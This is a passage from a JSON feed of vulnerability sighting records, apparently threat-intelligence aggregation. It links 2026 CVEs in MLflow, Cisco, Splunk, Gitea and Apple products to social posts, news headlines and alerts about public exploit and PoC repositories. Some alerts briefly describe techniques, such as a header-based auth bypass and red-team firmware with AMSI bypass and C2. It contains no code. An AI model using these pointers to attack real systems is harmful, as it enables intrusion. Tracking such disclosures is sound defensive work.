"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2033", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mqkhmazuxs2s", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2026-2033: MLflow Tracking Server Artifact Handler Directory Traversal Remote Code Execution Vulnerability\nCVSS 8.1 \u00b7 EPSS 1.7% \u00b7 0day\nhttps://beta.vulnsea.com/cve/CVE-2026-2033\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-07-13T19:49:46.642839Z"}, {"uuid": "9595ff82-85d4-4c9e-9335-73553124aff8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2033", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mqkhmdif252u", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2026-2033: MLflow Tracking Server Artifact Handler Directory Traversal Remote Code Execution Vulnerability\nCVSS 8.1 \u00b7 EPSS 1.7% \u00b7 0day\nhttps://beta.vulnsea.com/cve/CVE-2026-2033\n\n#CVE #infosec #potatosecurity #threatintel", "creation_timestamp": "2026-07-13T19:49:49.703592Z"}, {"uuid": "dea63559-fb14-4e98-b081-bdfcf9c3d493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqkim6vcw22u", "content": "\u300cCisco ISE\u300d\u306bRCE\u8106\u5f31\u6027 - \u7aef\u672b\u306e\u63a5\u7d9a\u306b\u5f71\u97ff\u3059\u308b\u304a\u305d\u308c\u3082\n\nCisco Systems\u306f\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u88fd\u54c1\u300cCisco Identity Services Engine\uff08ISE\uff09\u300d\u304a\u3088\u3073\u300cCisco ISE Passive Identity Connector\uff08ISE-PIC\uff09\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3053\u3068\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\u4fee\u6b63\u30d1\u30c3\u30c1\u3092\u63d0\u4f9b\u3057\u3066\u3044\u308b\u3002\n\n\u540c\u793e\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670817\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u30012\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-20181\u300d\u300cCVE-2026-20190\u300d\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\u3044\u305a\u308c\u3082\u8106\u5f31\u6027\u306e\u60aa\u7528\u3084\u60c5\u5831\u516c\u958b\u306a\u3069\u306f\u78ba\u8a8d...", "creation_timestamp": "2026-07-13T20:07:38.755225Z"}, {"uuid": "deb42e0b-1cb5-40e0-9d0b-8e48d2d392db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20190", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqkim6vcw22u", "content": "\u300cCisco ISE\u300d\u306bRCE\u8106\u5f31\u6027 - \u7aef\u672b\u306e\u63a5\u7d9a\u306b\u5f71\u97ff\u3059\u308b\u304a\u305d\u308c\u3082\n\nCisco Systems\u306f\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u88fd\u54c1\u300cCisco Identity Services Engine\uff08ISE\uff09\u300d\u304a\u3088\u3073\u300cCisco ISE Passive Identity Connector\uff08ISE-PIC\uff09\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3053\u3068\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\u4fee\u6b63\u30d1\u30c3\u30c1\u3092\u63d0\u4f9b\u3057\u3066\u3044\u308b\u3002\n\n\u540c\u793e\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670817\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u30012\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-20181\u300d\u300cCVE-2026-20190\u300d\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\u3044\u305a\u308c\u3082\u8106\u5f31\u6027\u306e\u60aa\u7528\u3084\u60c5\u5831\u516c\u958b\u306a\u3069\u306f\u78ba\u8a8d...", "creation_timestamp": "2026-07-13T20:07:38.803181Z"}, {"uuid": "7201b0ec-bb64-49a1-9827-418c2cd6e47b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20266", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqkiorr2f22u", "content": "\u300cSplunk\u300d\u5411\u3051\u306eAI\u62e1\u5f35\u30c4\u30fc\u30eb\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\n\n\u30c7\u30fc\u30bf\u57fa\u76e4\u300cSplunk\u300d\u4e0a\u3067AI\u3084\u6a5f\u68b0\u5b66\u7fd2\u3092\u5229\u7528\u3059\u308b\u305f\u3081\u306e\u62e1\u5f35\u30c4\u30fc\u30eb\u300cSplunk AI Toolkit\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u304c\u547c\u3073\u304b\u3051\u3089\u308c\u3066\u3044\u308b\u3002\n\nSplunk\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670817\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u3001\u540c\u30c4\u30fc\u30eb\u306b\u95a2\u3059\u308b2\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-20266\u300d\u300cCVE-2026-20265\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\n\n\u300cCVE-2026-20266\u300d\u306f\u3001\u300cbtool\u300d\u306e\u8a2d\u5b9a\u30d8\u30eb\u30d1\u30fc\u306b\u304a\u3051\u308bOS\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3002\u52d5\u7684\u306a\u30d1\u30e9\u30e1\u30fc\u30bf\u304b\u3089OS\u30b3\u30de\u30f3\u30c9\u6587\u5b57\u5217\u3092\u751f\u6210\u3059\u308b\u969b\u3001\u5b89\u5168\u3067...", "creation_timestamp": "2026-07-13T20:09:05.891125Z"}, {"uuid": "16d4da71-49da-45ee-8e03-b5bc9693f4d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20265", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqkiorr2f22u", "content": "\u300cSplunk\u300d\u5411\u3051\u306eAI\u62e1\u5f35\u30c4\u30fc\u30eb\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\n\n\u30c7\u30fc\u30bf\u57fa\u76e4\u300cSplunk\u300d\u4e0a\u3067AI\u3084\u6a5f\u68b0\u5b66\u7fd2\u3092\u5229\u7528\u3059\u308b\u305f\u3081\u306e\u62e1\u5f35\u30c4\u30fc\u30eb\u300cSplunk AI Toolkit\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u304c\u547c\u3073\u304b\u3051\u3089\u308c\u3066\u3044\u308b\u3002\n\nSplunk\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670817\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u3001\u540c\u30c4\u30fc\u30eb\u306b\u95a2\u3059\u308b2\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-20266\u300d\u300cCVE-2026-20265\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\n\n\u300cCVE-2026-20266\u300d\u306f\u3001\u300cbtool\u300d\u306e\u8a2d\u5b9a\u30d8\u30eb\u30d1\u30fc\u306b\u304a\u3051\u308bOS\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3002\u52d5\u7684\u306a\u30d1\u30e9\u30e1\u30fc\u30bf\u304b\u3089OS\u30b3\u30de\u30f3\u30c9\u6587\u5b57\u5217\u3092\u751f\u6210\u3059\u308b\u969b\u3001\u5b89\u5168\u3067...", "creation_timestamp": "2026-07-13T20:09:05.928994Z"}, {"uuid": "8bda3f3d-59e6-492f-8d74-7ef39bb35fec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/GithubRedTeam/93054", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20127-Exploit-Extension\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a anuththara2007-W\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Ruby\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-12 04:28:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:04.361534Z"}, {"uuid": "9294b064-9ab3-4e41-a8f2-a20054df64cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/GithubRedTeam/92405", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-20896-gitea-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a szybnev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 20:31:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20896 Gitea Docker X-WEBAUTH-USER auth bypass checker\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:10.059989Z"}, {"uuid": "bd38a2a4-7514-4e64-9bd8-b7a57425d330", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/GithubRedTeam/92061", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20896\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rz1027\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-05 15:52:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPublic PoC and detector for CVE-2026-20896 (\"Gitea Docker: One Header, Any User\")\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:12.397895Z"}, {"uuid": "9fa62c00-6a61-461c-88bd-fa23731e980d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/GithubRedTeam/91524", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20896\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kaleth4\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-02 00:23:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:15.684185Z"}, {"uuid": "967a6e4a-1df0-4e4f-a691-e635c23018d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/GithubRedTeam/91106", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20253\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pssec-io\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-29 07:53:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC for CVE-2026-20253\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:17.101959Z"}, {"uuid": "40e70531-8d7a-4b5e-ab6a-dbbdeccd4405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://t.me/GithubRedTeam/91041", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WebKit-NavigationAPI-SOP-Bypass\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zeroxjf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HTML\n\u2b50 Star\u6570\u91cf\uff1a 18  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 5\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-28 22:18:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWebKit NavigateEvent.canIntercept SOP bypass via cross-port interception \u2014 iOS 26.3.1 BSI (CVE-2026-20643)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:17.526737Z"}, {"uuid": "70c2a895-83ad-4236-a8e3-59ba28e02ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20637", "type": "seen", "source": "https://t.me/GithubRedTeam/91042", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20637-AppleSEPKeyStore-UAF\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zeroxjf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Objective-C\n\u2b50 Star\u6570\u91cf\uff1a 54  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 7\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-28 22:18:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20637: AppleSEPKeyStore Use-After-Free \u2014 iOS/macOS kernel vulnerability (patched in 26.4)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:17.571466Z"}, {"uuid": "ef9381d4-1392-4b41-a376-136a250bee5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/GithubRedTeam/90548", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE #\u6f0f\u6d1e #\u590d\u73b0 #\u5229\u7528\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-Unified-Communications-Manager-Server-Side-Forgery-Request-Vulnerability-CVE-2026-20230\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a W5M1n9\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-25 10:02:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:18.979377Z"}, {"uuid": "97f1cdd9-b7e1-484a-a924-7bc1b73c30cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/GithubRedTeam/90747", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20253-Splunk-Enterprise-Pre-Auth-RCE-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fevar54\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-26 18:31:06\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:18.448947Z"}, {"uuid": "5221ccbb-e32b-4e3b-b7c9-949378733188", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20251", "type": "seen", "source": "https://t.me/GithubRedTeam/90763", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20251\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a reactivezero\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-26 21:34:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20251 \u2014 Splunk Secure Gateway jsonpickle deserialization RCE (CVSS 8.8) | ReactiveZero Security Research\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:18.490636Z"}, {"uuid": "8bd9cc9a-0a5b-4156-8653-12382bff028f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/GithubRedTeam/90171", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Bypass #AMSI\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a GhostUSB\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a RDTUTORIAL\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-23 00:05:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExperimental red-team firmware for ESP32-S2/S3. Features USB HID keyboard emulation, multi-layer AMSI bypass, CVE-2026-20817 WER ALPC exploitation, 12 built-in payloads, and WiFi C2 with AES-256-GCM encryption.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:21.137510Z"}, {"uuid": "a5718cda-136f-47b0-b75c-d43369d696bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2002", "type": "seen", "source": "https://t.me/GithubRedTeam/90102", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2002-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a typedefabcd1234ntd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-22 12:52:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:21.617253Z"}, {"uuid": "c5ee6b0c-4125-4eb2-9cec-6791529487ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mstkcjtk4g2d", "content": "\ud83e\udd16 CVE-2026-20349 (CVSS 8.6): actively exploited DoS in Cisco Secure Firewall ASA & FTD \u2014 remote attackers can crash devices. No workarounds; upgrade recommended.\n\nhttps://www.bleepingcomputer.com/news/security/cisco-warns-of-asa-and-ftd-vpn-flaw-exploited-to-crash-devices/", "creation_timestamp": "2026-08-11T21:22:22.634721Z"}, {"uuid": "f69a0180-77f4-4433-bd04-489f23657f9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/GithubRedTeam/88686", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20253\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-13 18:20:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20253\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:42.877010Z"}, {"uuid": "4dc631b2-e988-4519-87d3-8333881bf57a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://t.me/BleepingComputer/24903", "content": "\u200aCisco fixes SD-WAN vManage flaw exploited in zero-day attacks\n\nCisco has released security updates to address a vulnerability in the Catalyst SD-WAN Manager, tracked as CVE-2026-20262, that was exploited in attacks to escalate to root privileges. [...]\n\nhttps://www.bleepingcomputer.com/news/security/cisco-fixes-sd-wan-vmanage-flaw-exploited-in-zero-day-attacks/", "creation_timestamp": "2026-07-14T00:00:06.795123Z"}, {"uuid": "03ba6bba-9814-4179-91a8-74ae8f723306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/BleepingComputer/24966", "content": "\u200aCisco Unified CM flaw CVE-2026-20230 now exploited in attacks\n\nA high-severity SSRF vulnerability, tracked as CVE-2026-20230, in Cisco Unified Communications Manager Server is now being exploited in attacks. [...]\n\nhttps://www.bleepingcomputer.com/news/security/cisco-unified-cm-sme-flaw-cve-2026-20230-now-exploited-in-attacks/", "creation_timestamp": "2026-07-14T00:00:06.910008Z"}, {"uuid": "600bf488-4260-4a56-8175-17357bfa442a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/BleepingComputer/24972", "content": "\u200aMandiant reveals how Cisco SD-WAN zero-day attacks gained root access\n\nNew details have been revealed on how hackers exploited a Cisco Catalyst SD-WAN vulnerability tracked as CVE-2026-20245 in zero-day attacks to create rogue root accounts on targeted devices. [...]\n\nhttps://www.bleepingcomputer.com/news/security/mandiant-reveals-how-cisco-sd-wan-zero-day-attacks-gained-root-access/", "creation_timestamp": "2026-07-14T00:00:06.973667Z"}, {"uuid": "08bebc64-3e3b-4b74-aff8-4c46de69c8af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": 